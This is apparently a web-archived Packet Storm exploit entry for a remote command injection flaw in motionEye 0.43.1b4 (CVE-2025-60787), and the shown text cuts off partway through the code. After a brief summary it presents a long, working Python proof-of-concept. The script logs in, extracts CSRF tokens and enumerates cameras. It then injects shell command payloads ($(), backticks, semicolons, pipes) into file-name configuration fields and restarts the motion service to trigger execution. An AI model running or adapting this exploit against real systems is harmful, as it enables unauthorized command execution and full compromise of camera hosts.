{"id":41406,"date":"2026-02-18T12:49:53","date_gmt":"2026-02-18T12:49:53","guid":{"rendered":"http:\/\/localhost\/?p=41406"},"modified":"2026-02-18T12:49:53","modified_gmt":"2026-02-18T12:49:53","slug":"motioneye-0431b4-remote-command-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41406","title":{"rendered":"\ud83d\udcc4 motionEye 0.43.1b4 Remote Command Injection_PACKETSTORM:215797"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:37:27&#8243;,&#8221;description&#8221;:&#8221;A remote command injection vulnerability exists in motionEye versions up to and including 0.43.1b4. The issue arises from improper validation and sanitization of user\u2011supplied input within camera configuration parameters. Under certain conditions,&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 motionEye 0.43.1b4 Remote Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215797&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-60787&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : motionEye \u2264 0.43.1b4 Remote Command Injection Vulnerability                                                                 |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.3 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/github.com\/motioneye-project\/                                                                                       |\\n    =============================================================================================================================================\\n    \\n    [+] Summary    :  A remote command injection vulnerability exists in motionEye versions up to and including 0.43.1b4. \\n                      The issue arises from improper validation and sanitization of user\u2011supplied input within camera configuration parameters. \\n    \\t\\t\\t\\t  Under certain conditions, authenticated users can inject crafted input that is later interpreted by the underlying system shell.\\n                      Successful exploitation may allow arbitrary command execution on the host system running motionEye, potentially leading to full \\n    \\t\\t\\t\\t  system compromise, data exfiltration, service disruption, or lateral movement within the network.\\n                      The vulnerability stems from insufficient input handling and unsafe command construction logic when processing configuration values.\\n    [+] POC : \\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import requests\\n    import sys\\n    import time\\n    import re\\n    import json\\n    import logging\\n    from typing import Optional, Dict, List, Tuple, Set, Any\\n    from urllib3.exceptions import InsecureRequestWarning\\n    from requests.exceptions import RequestException, Timeout, ConnectionError\\n    \\n    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)\\n    \\n    logging.basicConfig(\\n        level=logging.INFO,\\n        format='[%(asctime)s] %(levelname)s: %(message)s&#8217;,\\n        datefmt=&#8217;%H:%M:%S&#8217;\\n    )\\n    logger = logging.getLogger(__name__)\\n    \\n    \\n    try:\\n        from bs4 import BeautifulSoup\\n        BS_AVAILABLE = True\\n    except ImportError:\\n        BS_AVAILABLE = False\\n        logger.warning(\\&#8221;BeautifulSoup not installed. HTML parsing will be limited.\\&#8221;)\\n        logger.warning(\\&#8221;Install with: pip install beautifulsoup4\\&#8221;)\\n    \\n    class MotionEyeExploitError(Exception):\\n        \\&#8221;\\&#8221;\\&#8221;Custom exception for MotionEye exploit errors.\\&#8221;\\&#8221;\\&#8221;\\n        pass\\n    \\n    class MotionEyeExploit:\\n    \\n        SESSION_COOKIE_NAMES = {&#8216;session&#8217;, &#8216;motioneye.session&#8217;, &#8216;meye_session&#8217;, &#8216;beaker.session.id&#8217;}\\n        SUCCESS_INDICATORS = {\\n            &#8216;success&#8217;, &#8216;saved&#8217;, &#8216;updated&#8217;, &#8216;applied&#8217;, &#8216;configuration saved&#8217;\\n        }\\n        \\n        def __init__(self, target_url: str, username: str = \\&#8221;admin\\&#8221;, password: str = \\&#8221;\\&#8221;, timeout: int = 30):\\n            self.target_url = target_url.rstrip(&#8216;\/&#8217;)\\n            self.username = username\\n            self.password = password\\n            self.default_timeout = timeout\\n            self.session = requests.Session()\\n            self.session.verify = False\\n            self.csrf_token: Optional[str] = None\\n            self.cameras: List[Dict] = []\\n            self.authenticated = False\\n            self.session_cookie_name: Optional[str] = None\\n            self.last_command: Optional[str] = None\\n            self.session.headers.update({\\n                &#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0&#8217;,\\n                &#8216;Accept&#8217;: &#8216;text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8&#8217;,\\n                &#8216;Accept-Language&#8217;: &#8216;en-US,en;q=0.5&#8217;,\\n                &#8216;Accept-Encoding&#8217;: &#8216;gzip, deflate, br&#8217;,\\n                &#8216;Connection&#8217;: &#8216;keep-alive&#8217;,\\n                &#8216;Upgrade-Insecure-Requests&#8217;: &#8216;1&#8217;,\\n            })\\n        \\n        def _check_dependencies(self) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Check if required dependencies are available.\\&#8221;\\&#8221;\\&#8221;\\n            if not BS_AVAILABLE:\\n                logger.error(\\&#8221;BeautifulSoup is required for reliable HTML parsing.\\&#8221;)\\n                logger.error(\\&#8221;Install it with: pip install beautifulsoup4\\&#8221;)\\n                return False\\n            return True\\n        \\n        def _extract_csrf_token(self, html_content: str) -\\u003e Optional[str]:\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Extract CSRF token from HTML content using multiple methods.\\n            \\&#8221;\\&#8221;\\&#8221;\\n    \\n            patterns = [\\n                r&#8217;name=[\\&#8221;\\\\&#8217;]csrf_token[\\&#8221;\\\\&#8217;]\\\\s+value=[\\&#8221;\\\\&#8217;]([^\\&#8221;\\\\&#8217;]+)[\\&#8221;\\\\&#8217;]&#8217;,\\n                r&#8217;name=[\\&#8221;\\\\&#8217;]csrf_token[\\&#8221;\\\\&#8217;]\\\\s+content=[\\&#8221;\\\\&#8217;]([^\\&#8221;\\\\&#8217;]+)[\\&#8221;\\\\&#8217;]&#8217;,\\n                r&#8217;csrf_token[=:]\\\\s*[\\&#8221;\\\\&#8217;]([^\\&#8221;\\\\&#8217;]+)[\\&#8221;\\\\&#8217;]&#8217;,\\n                r&#8217;data-csrf-token=[\\&#8221;\\\\&#8217;]([^\\&#8221;\\\\&#8217;]+)[\\&#8221;\\\\&#8217;]&#8217;,\\n                r&#8217;var\\\\s+csrf_token\\\\s*=\\\\s*[\\&#8221;\\\\&#8217;]([^\\&#8221;\\\\&#8217;]+)[\\&#8221;\\\\&#8217;]&#8217;,\\n            ]\\n            \\n            for pattern in patterns:\\n                match = re.search(pattern, html_content, re.IGNORECASE)\\n                if match:\\n                    token = match.group(1)\\n                    logger.debug(f\\&#8221;Found CSRF token via regex: {token[:10]}&#8230;\\&#8221;)\\n                    return token\\n    \\n            if BS_AVAILABLE:\\n                try:\\n                    soup = BeautifulSoup(html_content, &#8216;html.parser&#8217;)\\n    \\n                    csrf_input = soup.find(&#8216;input&#8217;, {&#8216;name&#8217;: &#8216;csrf_token&#8217;})\\n                    if csrf_input and csrf_input.get(&#8216;value&#8217;):\\n                        return csrf_input[&#8216;value&#8217;]\\n    \\n                    meta_tag = soup.find(&#8216;meta&#8217;, {&#8216;name&#8217;: &#8216;csrf_token&#8217;})\\n                    if meta_tag and meta_tag.get(&#8216;content&#8217;):\\n                        return meta_tag[&#8216;content&#8217;]\\n    \\n                    scripts = soup.find_all(&#8216;script&#8217;)\\n                    for script in scripts:\\n                        if script.string:\\n                            var_match = re.search(r&#8217;csrf_token\\\\s*=\\\\s*[\\&#8221;\\\\&#8217;]([^\\&#8221;\\\\&#8217;]+)[\\&#8221;\\\\&#8217;]&#8217;, script.string)\\n                            if var_match:\\n                                return var_match.group(1)\\n                except Exception as e:\\n                    logger.debug(f\\&#8221;BeautifulSoup parsing error: {e}\\&#8221;)\\n            \\n            logger.warning(\\&#8221;Could not extract CSRF token\\&#8221;)\\n            return None\\n        \\n        def _has_valid_session(self) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Check if the current session has a valid authentication cookie.\\n            \\&#8221;\\&#8221;\\&#8221;\\n            if not self.session.cookies:\\n                logger.debug(\\&#8221;No cookies found in session\\&#8221;)\\n                return False\\n    \\n            session_cookies_found = []\\n            for cookie_name in self.session.cookies.keys():\\n                if cookie_name.lower() in self.SESSION_COOKIE_NAMES:\\n                    session_cookies_found.append(cookie_name)\\n                    self.session_cookie_name = cookie_name\\n                    logger.debug(f\\&#8221;Found potential session cookie: {cookie_name}\\&#8221;)\\n            \\n            if session_cookies_found:\\n                logger.debug(f\\&#8221;Session cookies found: {session_cookies_found}\\&#8221;)\\n                return True\\n            \\n            logger.debug(\\&#8221;No known session cookie names found\\&#8221;)\\n            return False\\n        \\n        def _verify_dashboard_access(self) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Verify we can access the dashboard by checking for specific elements.\\n            \\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                response = self._make_request(&#8216;GET&#8217;, &#8216;\/&#8217;, timeout=10)\\n                if not response or response.status_code != 200:\\n                    logger.debug(\\&#8221;Dashboard access failed: HTTP error\\&#8221;)\\n                    return False\\n    \\n                if BS_AVAILABLE:\\n                    try:\\n                        soup = BeautifulSoup(response.text, &#8216;html.parser&#8217;)\\n    \\n                        dashboard_indicators = [\\n                            soup.find(&#8216;div&#8217;, {&#8216;id&#8217;: &#8216;dashboard&#8217;}),\\n                            soup.find(&#8216;div&#8217;, {&#8216;class&#8217;: &#8216;dashboard&#8217;}),\\n                            soup.find(&#8216;div&#8217;, {&#8216;data-page&#8217;: &#8216;dashboard&#8217;}),\\n                            soup.find(&#8216;a&#8217;, href=re.compile(r&#8217;\/camera-\\\\d+&#8217;)),\\n                            soup.find(&#8216;button&#8217;, string=re.compile(r&#8217;cameras?&#8217;, re.I)),\\n                            soup.find(&#8216;span&#8217;, string=re.compile(r&#8217;motioneye&#8217;, re.I)),\\n                        ]\\n                        \\n                        if any(dashboard_indicators):\\n                            logger.debug(\\&#8221;Dashboard access verified via BeautifulSoup\\&#8221;)\\n                            return True\\n                    except Exception as e:\\n                        logger.debug(f\\&#8221;BeautifulSoup dashboard verification failed: {e}\\&#8221;)\\n    \\n                dashboard_patterns = [\\n                    r&#8217;dashboard&#8217;,\\n                    r&#8217;camera-\\\\d+&#8217;,\\n                    r&#8217;motioneye&#8217;,\\n                    r&#8217;still_images&#8217;,\\n                    r&#8217;movies&#8217;,\\n                ]\\n                \\n                for pattern in dashboard_patterns:\\n                    if re.search(pattern, response.text, re.I):\\n                        logger.debug(f\\&#8221;Dashboard access verified via regex pattern: {pattern}\\&#8221;)\\n                        return True\\n                \\n                logger.debug(\\&#8221;No dashboard indicators found in response\\&#8221;)\\n                return False\\n                \\n            except Exception as e:\\n                logger.debug(f\\&#8221;Dashboard verification error: {e}\\&#8221;)\\n                return False\\n        \\n        def _make_request(self, method: str, endpoint: str, **kwargs) -\\u003e Optional[requests.Response]:\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Make HTTP request with proper error handling and timeout.\\n            \\&#8221;\\&#8221;\\&#8221;\\n            url = f\\&#8221;{self.target_url}{endpoint}\\&#8221;\\n    \\n            if &#8216;timeout&#8217; not in kwargs:\\n                kwargs[&#8216;timeout&#8217;] = self.default_timeout\\n            \\n            max_retries = kwargs.pop(&#8216;max_retries&#8217;, 2)\\n            \\n            for attempt in range(max_retries):\\n                try:\\n                    logger.debug(f\\&#8221;Making {method} request to {endpoint} (attempt {attempt + 1})\\&#8221;)\\n                    response = self.session.request(method, url, **kwargs)\\n    \\n                    logger.debug(f\\&#8221;Response status: {response.status_code}\\&#8221;)\\n                    logger.debug(f\\&#8221;Response headers: {dict(response.headers)}\\&#8221;)\\n                    \\n                    return response\\n                    \\n                except Timeout as e:\\n                    logger.warning(f\\&#8221;Request timeout to {endpoint} (attempt {attempt + 1}): {e}\\&#8221;)\\n                except ConnectionError as e:\\n                    logger.warning(f\\&#8221;Connection error to {endpoint}: {e} (attempt {attempt + 1})\\&#8221;)\\n                except RequestException as e:\\n                    logger.warning(f\\&#8221;Request failed for {endpoint}: {e} (attempt {attempt + 1})\\&#8221;)\\n                \\n                if attempt \\u003c max_retries &#8211; 1:\\n                    wait_time = 1 * (attempt + 1)\\n                    logger.debug(f\\&#8221;Waiting {wait_time} seconds before retry&#8230;\\&#8221;)\\n                    time.sleep(wait_time)\\n            \\n            logger.error(f\\&#8221;All {max_retries} attempts failed for {endpoint}\\&#8221;)\\n            return None\\n        \\n        def login(self) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Authenticate to motionEye and establish session.\\n            \\&#8221;\\&#8221;\\&#8221;\\n            logger.info(f\\&#8221;Attempting login to {self.target_url} as {self.username}\\&#8221;)\\n    \\n            if self._has_valid_session():\\n                logger.debug(\\&#8221;Found session cookies, verifying dashboard access&#8230;\\&#8221;)\\n                if self._verify_dashboard_access():\\n                    logger.info(\\&#8221;Already have valid session\\&#8221;)\\n                    self.authenticated = True\\n                    return True\\n                else:\\n                    logger.debug(\\&#8221;Session cookies present but cannot access dashboard\\&#8221;)\\n    \\n            response = self._make_request(&#8216;GET&#8217;, &#8216;\/&#8217;)\\n            if not response:\\n                logger.error(\\&#8221;Failed to fetch login page\\&#8221;)\\n                return False\\n    \\n            self.csrf_token = self._extract_csrf_token(response.text)\\n            if not self.csrf_token:\\n                logger.error(\\&#8221;Could not extract CSRF token from login page\\&#8221;)\\n                return False\\n            \\n            logger.debug(f\\&#8221;CSRF token extracted: {self.csrf_token[:10]}&#8230;\\&#8221;)\\n    \\n            login_data = {\\n                &#8216;username&#8217;: self.username,\\n                &#8216;password&#8217;: self.password,\\n                &#8216;csrf_token&#8217;: self.csrf_token\\n            }\\n    \\n            response = self._make_request(\\n                &#8216;POST&#8217;, &#8216;\/login&#8217;, \\n                data=login_data, \\n                allow_redirects=False,\\n                max_retries=1  \\n            )\\n            \\n            if not response:\\n                return False\\n    \\n            login_success = False\\n    \\n            if response.status_code == 302:\\n                location = response.headers.get(&#8216;Location&#8217;, &#8221;)\\n                if location == &#8216;\/&#8217; or &#8216;dashboard&#8217; in location:\\n                    login_success = True\\n                    logger.debug(\\&#8221;Login success via 302 redirect\\&#8221;)\\n    \\n            elif response.status_code == 200:\\n    \\n                if self._has_valid_session():\\n                    login_success = True\\n                    logger.debug(\\&#8221;Login success via session cookie\\&#8221;)\\n    \\n                elif &#8216;window.location&#8217; in response.text and (&#8216;\/&#8217; in response.text or &#8216;dashboard&#8217; in response.text):\\n                    login_success = True\\n                    logger.debug(\\&#8221;Login success via JavaScript redirect\\&#8221;)\\n            \\n            if login_success:\\n    \\n                if self._verify_dashboard_access():\\n                    logger.info(\\&#8221;Login successful &#8211; dashboard accessible\\&#8221;)\\n                    self.authenticated = True\\n                    return True\\n                else:\\n                    logger.warning(\\&#8221;Login seemed successful but dashboard not accessible\\&#8221;)\\n    \\n                    if self._has_valid_session():\\n                        self.authenticated = True\\n                        return True\\n            else:\\n                logger.error(f\\&#8221;Login failed. Status code: {response.status_code}\\&#8221;)\\n            \\n            return False\\n        \\n        def get_cameras(self, force_refresh: bool = False) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Fetch list of available cameras from the dashboard.\\n            \\n            Args:\\n                force_refresh: If True, clear existing camera list before fetching\\n            \\&#8221;\\&#8221;\\&#8221;\\n            if force_refresh:\\n                self.cameras.clear()\\n                logger.debug(\\&#8221;Cleared existing camera list\\&#8221;)\\n            elif self.cameras:\\n                logger.debug(f\\&#8221;Using cached camera list ({len(self.cameras)} cameras)\\&#8221;)\\n                return True\\n            \\n            logger.info(\\&#8221;Fetching list of cameras\\&#8221;)\\n            \\n            if not self.authenticated and not self.login():\\n                logger.error(\\&#8221;Not authenticated\\&#8221;)\\n                return False\\n            \\n            response = self._make_request(&#8216;GET&#8217;, &#8216;\/&#8217;)\\n            if not response:\\n                return False\\n    \\n            cameras_found = set()  \\n            \\n            if BS_AVAILABLE:\\n                try:\\n                    soup = BeautifulSoup(response.text, &#8216;html.parser&#8217;)\\n    \\n                    camera_links = soup.find_all(&#8216;a&#8217;, href=re.compile(r&#8217;^\/camera-\\\\d+&#8217;))\\n                    for link in camera_links:\\n                        camera_id = link.get(&#8216;href&#8217;).strip(&#8216;\/&#8217;)\\n                        if camera_id and camera_id not in cameras_found:\\n                            camera_name = link.get_text().strip()\\n                            self.cameras.append({\\n                                &#8216;id&#8217;: camera_id,\\n                                &#8216;name&#8217;: camera_name or camera_id\\n                            })\\n                            cameras_found.add(camera_id)\\n    \\n                    camera_divs = soup.find_all(&#8216;div&#8217;, {&#8216;data-camera-id&#8217;: True})\\n                    for div in camera_divs:\\n                        camera_id = div.get(&#8216;data-camera-id&#8217;)\\n                        if camera_id and camera_id not in cameras_found:\\n                            self.cameras.append({\\n                                &#8216;id&#8217;: camera_id,\\n                                &#8216;name&#8217;: div.get(&#8216;data-camera-name&#8217;, camera_id)\\n                            })\\n                            cameras_found.add(camera_id)\\n    \\n                    camera_options = soup.find_all(&#8216;option&#8217;, value=re.compile(r&#8217;^camera-\\\\d+&#8217;))\\n                    for option in camera_options:\\n                        camera_id = option.get(&#8216;value&#8217;)\\n                        if camera_id and camera_id not in cameras_found:\\n                            self.cameras.append({\\n                                &#8216;id&#8217;: camera_id,\\n                                &#8216;name&#8217;: option.get_text().strip() or camera_id\\n                            })\\n                            cameras_found.add(camera_id)\\n                            \\n                except Exception as e:\\n                    logger.error(f\\&#8221;Error parsing cameras with BeautifulSoup: {e}\\&#8221;)\\n            \\n            if not self.cameras:\\n                logger.debug(\\&#8221;Using regex fallback for camera detection\\&#8221;)\\n                camera_matches = re.findall(r&#8217;\/camera-(\\\\d+)&#8217;, response.text)\\n                for camera_num in set(camera_matches):  \\n                    camera_id = f\\&#8221;camera-{camera_num}\\&#8221;\\n                    self.cameras.append({\\n                        &#8216;id&#8217;: camera_id,\\n                        &#8216;name&#8217;: f\\&#8221;Camera {camera_num}\\&#8221;\\n                    })\\n    \\n            if not self.cameras:\\n                logger.warning(\\&#8221;No cameras found, using default &#8216;camera-1&#8217;\\&#8221;)\\n                self.cameras.append({&#8216;id&#8217;: &#8216;camera-1&#8217;, &#8216;name&#8217;: &#8216;Default Camera&#8217;})\\n            \\n            logger.info(f\\&#8221;Found {len(self.cameras)} unique camera(s): {[c[&#8216;id&#8217;] for c in self.cameras]}\\&#8221;)\\n            return True\\n        \\n        def _escape_for_transport(self, command: str) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Escape a command for safe transport in HTTP POST data.\\n            This ensures the command is properly transmitted, not escaped for shell.\\n            \\&#8221;\\&#8221;\\&#8221;\\n    \\n            escaped = command.replace(&#8216;\\\\\\\\&#8217;, &#8216;\\\\\\\\\\\\\\\\&#8217;).replace(&#8216;\\&#8221;&#8216;, &#8216;\\\\\\\\\\&#8221;&#8216;).replace(\\&#8221;&#8216;\\&#8221;, \\&#8221;\\\\\\\\&#8217;\\&#8221;)\\n    \\n            dangerous_chars = [&#8216;`&#8217;, &#8216;$&#8217;, &#8216;(&#8216;, &#8216;)&#8217;, &#8216;|&#8217;, &#8216;\\u0026&#8217;, &#8216;;&#8217;, &#8216;\\u003c&#8217;, &#8216;\\u003e&#8217;, &#8216;*&#8217;, &#8216;?&#8217;, &#8216;[&#8216;, &#8216;]&#8217;, &#8216;{&#8216;, &#8216;}&#8217;]\\n            found_chars = [c for c in dangerous_chars if c in command]\\n            \\n            if found_chars:\\n                logger.info(f\\&#8221;Command contains shell metacharacters: {found_chars}\\&#8221;)\\n                logger.debug(\\&#8221;These are INTENTIONAL for command injection\\&#8221;)\\n            \\n            return escaped\\n        \\n        def _check_response_success(self, response: requests.Response) -\\u003e Tuple[bool, str]:\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Check if a response indicates successful configuration update.\\n            Returns (success, message)\\n            \\&#8221;\\&#8221;\\&#8221;\\n    \\n            if response.status_code not in [200, 201, 202, 204, 302]:\\n                return False, f\\&#8221;HTTP {response.status_code}\\&#8221;\\n    \\n            try:\\n                json_data = response.json()\\n                if isinstance(json_data, dict):\\n    \\n                    if json_data.get(&#8216;status&#8217;) == &#8216;ok&#8217;:\\n                        return True, \\&#8221;JSON status: ok\\&#8221;\\n                    if json_data.get(&#8216;success&#8217;) is True:\\n                        return True, \\&#8221;JSON success: true\\&#8221;\\n                    if json_data.get(&#8216;error&#8217;):\\n                        return False, f\\&#8221;JSON error: {json_data[&#8216;error&#8217;]}\\&#8221;\\n            except (json.JSONDecodeError, ValueError):\\n    \\n                pass\\n    \\n            response_text = response.text.lower()\\n    \\n            error_patterns = [&#8216;error&#8217;, &#8216;fail&#8217;, &#8216;invalid&#8217;, &#8216;denied&#8217;, &#8216;forbidden&#8217;]\\n            has_error = any(pattern in response_text for pattern in error_patterns)\\n            \\n            if has_error:\\n    \\n                success_found = any(indicator.lower() in response_text for indicator in self.SUCCESS_INDICATORS)\\n                \\n                if success_found:\\n    \\n                    logger.warning(\\&#8221;Response contains both success and error indicators\\&#8221;)\\n                    return False, \\&#8221;Ambiguous response (both success and error)\\&#8221;\\n                else:\\n                    return False, \\&#8221;Error indicators found\\&#8221;\\n    \\n            for indicator in self.SUCCESS_INDICATORS:\\n                if indicator.lower() in response_text:\\n                    return True, f\\&#8221;Found indicator: {indicator}\\&#8221;\\n    \\n            if response.status_code == 302:\\n                location = response.headers.get(&#8216;Location&#8217;, &#8221;)\\n                if &#8216;success&#8217; in location.lower() or &#8216;saved&#8217; in location.lower():\\n                    return True, f\\&#8221;Redirect to: {location}\\&#8221;\\n            \\n            return False, \\&#8221;No success indicators found\\&#8221;\\n        \\n        def inject_payload(self, camera_id: str, command: str) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Inject malicious payload into camera configuration.\\n    \\n            safe_command = self._escape_for_transport(command)\\n    \\n            payload_variants = [\\n                f\\&#8221;$({safe_command}).%Y-%m-%d-%H-%M-%S\\&#8221;,  \\n                f\\&#8221;`{safe_command}`.%Y-%m-%d-%H-%M-%S\\&#8221;,  \\n                f\\&#8221;;{safe_command};.%Y-%m-%d-%H-%M-%S\\&#8221;,  \\n                f\\&#8221;|{safe_command}|.%Y-%m-%d-%H-%M-%S\\&#8221;, \\n            ]\\n            \\n            logger.info(f\\&#8221;Injecting payload into camera: {camera_id}\\&#8221;)\\n    \\n            response = self._make_request(&#8216;GET&#8217;, &#8216;\/&#8217;, timeout=10)\\n            if response:\\n                token = self._extract_csrf_token(response.text)\\n                if token:\\n                    self.csrf_token = token\\n                    logger.debug(\\&#8221;Refreshed CSRF token\\&#8221;)\\n    \\n            endpoints = [\\n                f\\&#8221;\/{camera_id}\/config\/set\\&#8221;,\\n                \\&#8221;\/config\/set\\&#8221;,\\n                f\\&#8221;\/{camera_id}\/edit\\&#8221;,\\n                \\&#8221;\/config\/update\\&#8221;,\\n                \\&#8221;\/settings\/camera\\&#8221;,\\n            ]\\n            \\n            for endpoint in endpoints:\\n                for idx, payload in enumerate(payload_variants):\\n                    logger.debug(f\\&#8221;Trying endpoint: {endpoint} with payload variant {idx + 1}\\&#8221;)\\n                    \\n                    data = {\\n                        &#8216;still_images_image_file_name&#8217;: payload,\\n                        &#8216;movie_file_name&#8217;: payload, \\n                        &#8216;timelapse_file_name&#8217;: payload,\\n                    }\\n                    \\n                    if self.csrf_token:\\n                        data[&#8216;csrf_token&#8217;] = self.csrf_token\\n    \\n                    headers = {}\\n                    if self.csrf_token:\\n                        headers[&#8216;X-CSRFToken&#8217;] = self.csrf_token\\n                    \\n                    response = self._make_request(&#8216;POST&#8217;, endpoint, data=data, headers=headers)\\n                    if not response:\\n                        continue\\n    \\n                    success, message = self._check_response_success(response)\\n                    if success:\\n                        logger.info(f\\&#8221;Payload injected successfully via {endpoint}\\&#8221;)\\n                        logger.debug(f\\&#8221;Success message: {message}\\&#8221;)\\n                        return True\\n                    \\n                    logger.debug(f\\&#8221;Endpoint {endpoint} returned: {message}\\&#8221;)\\n            \\n            logger.error(f\\&#8221;Failed to inject payload through any endpoint for camera {camera_id}\\&#8221;)\\n            return False\\n        \\n        def restart_motion(self) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Attempt to restart motion service through various endpoints.\\n            \\&#8221;\\&#8221;\\&#8221;\\n            logger.info(\\&#8221;Attempting to restart motion service\\&#8221;)\\n            \\n            if not self.authenticated and not self.login():\\n                logger.error(\\&#8221;Not authenticated\\&#8221;)\\n                return False\\n            \\n            restart_endpoints = [\\n                (&#8216;\/action\/restart&#8217;, &#8216;POST&#8217;, {}),\\n                (&#8216;\/action\/restart_motion&#8217;, &#8216;POST&#8217;, {}),\\n                (&#8216;\/action\/restart_all&#8217;, &#8216;POST&#8217;, {}),\\n                (&#8216;\/config\/restart&#8217;, &#8216;POST&#8217;, {}),\\n                (&#8216;\/restart&#8217;, &#8216;GET&#8217;, {}),\\n                (&#8216;\/api\/restart&#8217;, &#8216;POST&#8217;, {&#8216;Content-Type&#8217;: &#8216;application\/json&#8217;}),\\n            ]\\n            \\n            for endpoint, method, headers in restart_endpoints:\\n                logger.debug(f\\&#8221;Trying {method} {endpoint}\\&#8221;)\\n                \\n                data = {}\\n                if self.csrf_token and method == &#8216;POST&#8217;:\\n                    data[&#8216;csrf_token&#8217;] = self.csrf_token\\n                \\n                try:\\n                    if method == &#8216;POST&#8217;:\\n                        response = self._make_request(&#8216;POST&#8217;, endpoint, data=data, headers=headers)\\n                    else:\\n                        response = self._make_request(&#8216;GET&#8217;, endpoint, headers=headers)\\n                    \\n                    if response:\\n    \\n                        if response.status_code in [200, 202, 204, 302]:\\n                            logger.info(f\\&#8221;Restart triggered via {endpoint}\\&#8221;)\\n                            return True\\n                        else:\\n                            logger.debug(f\\&#8221;Endpoint {endpoint} returned {response.status_code}\\&#8221;)\\n                except Exception as e:\\n                    logger.debug(f\\&#8221;Error with {endpoint}: {e}\\&#8221;)\\n                    continue\\n            \\n            logger.warning(\\&#8221;Could not trigger restart automatically\\&#8221;)\\n            return False\\n        \\n        def verify_exploit(self, expected_file: str = \\&#8221;\/tmp\/pwned_verified\\&#8221;) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Verify if the exploit was successful by checking for expected evidence.\\n            Returns True if verification succeeded, False if failed or inconclusive.\\n            \\&#8221;\\&#8221;\\&#8221;\\n            logger.info(\\&#8221;Verifying exploit success&#8230;\\&#8221;)\\n    \\n            if self.last_command and &#8216;touch&#8217; in self.last_command:\\n    \\n                touch_match = re.search(r&#8217;touch\\\\s+([^\\\\s;|\\u0026]+)&#8217;, self.last_command)\\n                if touch_match:\\n                    expected_file = touch_match.group(1)\\n                    logger.info(f\\&#8221;Looking for created file: {expected_file}\\&#8221;)\\n    \\n            filename = expected_file.split(&#8216;\/&#8217;)[-1] if &#8216;\/&#8217; in expected_file else expected_file\\n            \\n            web_paths = [\\n                f\\&#8221;\/motion\/{filename}\\&#8221;,\\n                f\\&#8221;\/static\/{filename}\\&#8221;,\\n                f\\&#8221;\/media\/{filename}\\&#8221;,\\n                f\\&#8221;\/{filename}\\&#8221;,\\n            ]\\n            \\n            for web_path in web_paths:\\n                response = self._make_request(&#8216;GET&#8217;, web_path, timeout=10)\\n                if response and response.status_code == 200:\\n                    logger.info(f\\&#8221;Found expected file at {web_path}\\&#8221;)\\n                    return True\\n    \\n            logger.info(\\&#8221;=\\&#8221; * 60)\\n            logger.info(\\&#8221;MANUAL VERIFICATION REQUIRED:\\&#8221;)\\n            logger.info(f\\&#8221;Target: {self.target_url}\\&#8221;)\\n            logger.info(f\\&#8221;Command executed: {self.last_command or &#8216;unknown&#8217;}\\&#8221;)\\n            logger.info(f\\&#8221;Expected evidence: {expected_file}\\&#8221;)\\n            logger.info(\\&#8221;\\\\nTo verify on Docker:\\&#8221;)\\n            logger.info(f\\&#8221;  docker exec motioneye ls -la {expected_file}\\&#8221;)\\n            logger.info(\\&#8221;\\\\nTo verify on system:\\&#8221;)\\n            logger.info(f\\&#8221;  ls -la {expected_file}\\&#8221;)\\n            logger.info(\\&#8221;\\\\nTo verify via web (if accessible):\\&#8221;)\\n            logger.info(f\\&#8221;  curl -k {self.target_url}\/motion\/\\&#8221;)\\n            logger.info(\\&#8221;=\\&#8221; * 60)\\n            \\n            return False  \\n        \\n        def run(self, command: str) -\\u003e Dict[str, bool]:\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Execute the full exploit chain.\\n            Returns dictionary with status of each step.\\n            \\&#8221;\\&#8221;\\&#8221;\\n            results = {\\n                &#8216;login&#8217;: False,\\n                &#8216;cameras&#8217;: False,\\n                &#8216;injection&#8217;: False,\\n                &#8216;restart&#8217;: False,\\n                &#8216;verification&#8217;: False,\\n                &#8216;overall&#8217;: False\\n            }\\n            \\n            self.last_command = command  \\n            \\n            logger.info(\\&#8221;=\\&#8221; * 60)\\n            logger.info(\\&#8221;Starting motionEye RCE exploit\\&#8221;)\\n            logger.info(f\\&#8221;Target: {self.target_url}\\&#8221;)\\n            logger.info(f\\&#8221;Command: {command}\\&#8221;)\\n            logger.info(\\&#8221;=\\&#8221; * 60)\\n    \\n            if not self._check_dependencies():\\n                logger.error(\\&#8221;Dependencies check failed\\&#8221;)\\n                return results\\n    \\n            if not self.login():\\n                logger.error(\\&#8221;Login failed. Exiting.\\&#8221;)\\n                return results\\n            \\n            results[&#8216;login&#8217;] = True\\n    \\n            if not self.get_cameras():\\n                logger.error(\\&#8221;Failed to get camera 